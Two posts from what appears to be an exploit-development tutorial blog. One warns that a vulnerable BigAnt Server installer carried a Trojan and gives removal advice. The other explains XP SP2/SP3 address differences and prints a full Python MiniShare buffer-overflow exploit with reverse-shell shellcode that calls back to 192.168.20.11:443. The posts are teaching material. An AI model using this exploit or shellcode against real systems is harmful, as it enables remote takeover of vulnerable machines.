Uh oh! Trojan!

18 Mar 2010
Apparently you cant trust anyone these days.  Including me it seems ;).

In my second exploit tutorial I talked about how to exploit a vulnerability in BigAnt Server 2.52, and I provided a link to the vulnerable application from the Exploit-DB.  On the 27th of February, I noticed that the Exploit-DB download link for the vulnerable application had been removed, with no explanation as to why, so in order to allow people to follow along with the tutorial I found my own copy of the installer that I had myself retrieved from the Exploit-DB, and I made it available to people.

Now I have found out that that this installer includes an added little "bonus", in the form of a Trojan that gets installed as soon as you run the installer (and before you actually install BigAnt Server).

The Trojan runs as both a fake Adobe Update Manager as well as a fake Microsoft Office Startup Agent.  Both processes monitor the other and will restart each other if the process is stopped for any reason.  In order to successfully kill them you can create a batch file which uses taskkill command to stop and then the del command to delete the underlying executables.  Doing it manually via Task Manager and then trying to delete the file in Windows Explorer  wont work, as the program will get restarted before you can delete the file on disk.  I will post a more detailed post in a little while going over in more detail how to remove and (for the brave and interested) how to analyse these files to determine what they do.

If you have already installed this version of BigAnt, either from the Exploit-DB or the version that I provided, you can remove the Trojan files using the method described above.  SysInternals Process Explorer will show you the running processes and you can track down the exact file location from there and kill and delete them via a batch script in order to catch them before one restarts the other.  There are also startup entries in the Registry that start the Trojan files along with the system, but if you delete the executables there will be nothing for those registry entries to start. 

I had actually noticed this Trojan myself after finishing the BigAnt exploit (and Im quoting most of the removal instructions above from memory), however I do so many questionable things on that test system I didnt link it to the BigAnt installer.  I just removed it, with the intention of maybe making a blog entry about it at some later date, and moved on.

So what is the lesson to take away from this?  Beware of things you download from the Internet essentially, especially when visiting computer security related sites.  Im guessing that while the Exploit-DB people take reasonable care in submissions they receive, that they don't perform detailed analysis of submitted files beyond maybe a virus scan (and even now the virus scanner I use did not pick up any problem with the installer itself).   And I didn't perform any additional checks on the file myself, because I was only ever using it on a test virtual machine which I had sandboxed, so I was already treating it as untrusted.


Its not only files that come from security sites you can't trust either.  Seemingly legitimate programs as well as scripts you find on the Internet  and definitely some of the public exploits you may find could all be hazardous to your computer's health. So, when testing out any software from an untrusted location on the Internet, always run it in a sandboxed environment first.

Do the Exploit Tutorials Work Under XP SP3?

28 Feb 2010
I have received a couple of questions from blog readers recently about whether the various exploits I have written in my various exploit tutorials will work under XP SP3, so I thought I would write a quick blog post on the subject here in case other readers were interested.

As mentioned in each of my tutorials, the platform I have been using for my victim machine is XP SP2.  There was no real reason behind this choice of attack platform, its just what I happened to have handy at the time.  I also liked that it uses the same patchlevel as the XP FDCC VHD images, so that people could download these and follow along.


This platform does also give us some interesting exploit protections to work around, such as the SafeSEH settings, and the heap overflow protections, which helps make the tutorials a little more interesting, and it also is a fairly common platform, so it helps make the tutorials relevant.

So whats the difference between XP SP2 and XP SP3 from an exploit perspective?  Well not that much.

There are no significant new exploit protection methods implemented in SP3, so there are no new twists we have to learn to exploit on SP3.  The main difference we will find, is in the structure of modules included with Windows.

In the first exploit tutorial, there were no third party modules included with Minisploit, so when we needed to find a module that included a JMP ESP instruction we ended up looking in a module that comes included with Windows - namely shell32.dll.  We did a search for a JMP ESP instruction in shell32.dll, and used the first one we found, at address 0x7CA58265.

What happens when we search for the first JMP ESP instruction on a machine with SP3 installed?  The first JMP ESP is found at a different address of 0x7C9D30D7.


In a SP3 system, the instruction located at 0x7CA58265 does not contain a JMP ESP at all, it has a completely different instruction.

 

Because of this difference in the location of the JMP ESP location between XP SP2 and XP SP3 our Minishare exploit will not work unmodified on SP3.  The process of writing the exploit is still valid for SP3 however, we just need to account for the new location of the JMP ESP instruction to make it work.

Something like the following should do it.  The line in bold shows the change between the original exploit and the modified-for-SP3 exploit.

#!/usr/bin/python
import socket

target_address="192.168.10.27"
target_port=80

buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\xD7\x30\x9D\x7C" # EIP Overwrite. Shell32.dll, XP SP3, JMP ESP, 7C9D30D7.
# msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 R | msfencode -a x86 -b '\x00\x0a\x0d' -t c - x86/shikata_ga_nai 342 bytes
buffer+= "\x90" * 16
buffer+= ("\xdb\xdd\xd9\x74\x24\xf4\x2b\xc9\xb1\x4f\x58\xba\x2c\x98\x23"
"\x27\x31\x50\x1a\x83\xe8\xfc\x03\x50\x16\xe2\xd9\x64\xcb\xae"
"\x21\x95\x0c\xd1\xa8\x70\x3d\xc3\xce\xf1\x6c\xd3\x85\x54\x9d"
"\x98\xcb\x4c\x16\xec\xc3\x63\x9f\x5b\x35\x4d\x20\x6a\xf9\x01"
"\xe2\xec\x85\x5b\x37\xcf\xb4\x93\x4a\x0e\xf1\xce\xa5\x42\xaa"
"\x85\x14\x73\xdf\xd8\xa4\x72\x0f\x57\x94\x0c\x2a\xa8\x61\xa7"
"\x35\xf9\xda\xbc\x7d\xe1\x51\x9a\x5d\x10\xb5\xf8\xa1\x5b\xb2"
"\xcb\x52\x5a\x12\x02\x9b\x6c\x5a\xc9\xa2\x40\x57\x13\xe3\x67"
"\x88\x66\x1f\x94\x35\x71\xe4\xe6\xe1\xf4\xf8\x41\x61\xae\xd8"
"\x70\xa6\x29\xab\x7f\x03\x3d\xf3\x63\x92\x92\x88\x98\x1f\x15"
"\x5e\x29\x5b\x32\x7a\x71\x3f\x5b\xdb\xdf\xee\x64\x3b\x87\x4f"
"\xc1\x30\x2a\x9b\x73\x1b\x23\x68\x4e\xa3\xb3\xe6\xd9\xd0\x81"
"\xa9\x71\x7e\xaa\x22\x5c\x79\xcd\x18\x18\x15\x30\xa3\x59\x3c"
"\xf7\xf7\x09\x56\xde\x77\xc2\xa6\xdf\xad\x45\xf6\x4f\x1e\x26"
"\xa6\x2f\xce\xce\xac\xbf\x31\xee\xcf\x15\x44\x28\x47\x56\xff"
"\xa3\x9c\x3e\x02\xcc\xa3\x05\x8b\x2a\xc9\x69\xda\xe5\x65\x13"
"\x47\x7d\x14\xdc\x5d\x16\xb5\x4f\x3a\xe7\xb0\x73\x95\xb0\x95"
"\x42\xec\x55\x0b\xfc\x46\x48\xd6\x98\xa1\xc8\x0c\x59\x2f\xd0"
"\xc1\xe5\x0b\xc2\x1f\xe5\x17\xb6\xcf\xb0\xc1\x60\xa9\x6a\xa0"
"\xda\x63\xc0\x6a\x8b\xf2\x2a\xad\xcd\xfb\x66\x5b\x31\x4d\xdf"
"\x1a\x4d\x61\xb7\xaa\x36\x9c\x27\x54\xed\x25\x57\x1f\xac\x0f"
"\xf0\xc6\x24\x12\x9d\xf8\x92\x50\x98\x7a\x17\x28\x5f\x62\x52"
"\x2d\x1b\x24\x8e\x5f\x34\xc1\xb0\xcc\x35\xc0\xbb")
buffer+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

If you have ever used Metasploit and noticed the "target" option for certain exploits, which has to be set to the appropriate OS version for the exploit to work, you now have an idea of what is going on behind the scenes.  The target setting configures a particular offset within one of that systems modules to allow the exploit to run, and the offset will be different across the different system "targets" for the exploit.

What about the second exploit tutorial?  Well this exploit was able to use an overwrite location from a third party module - one included with the vulnerable program itself.  This means it is not susceptible to failure due to changes in the layout of modules included with Windows, because it doesnt need to access instructions in those modules via hard coded memory addresses.

You can see the BigAnt crash reproduced in SP3 below, and I have tested the exploit written in the second tutorial and can confirm it works completely without modification in XP SP3. 


You may have noticed that I mention the concept of a "Universal exploit" in a number of my tutorials, well this is what I mean by that.  The exploit only uses memory addresses that are included with modules that come with the vulnerable program itself, so regardless of the underlying platform the memory addresses that the exploit reiles on should be the same as long as the version of the vulnerable program is the same.  Now this doesnt always strictly work out in practice, major changes in the host OS can change the behaviour of the client application enough so that the exploit breaks in other ways.  SP2 and SP3 are similar enough however that exploits that dont require the use of hard coded instructions from Windows modules will usually work on both.

I hope this clears up some of the confusion around this issue.  Feel free to ask questions in the comments if any issue needs clarification...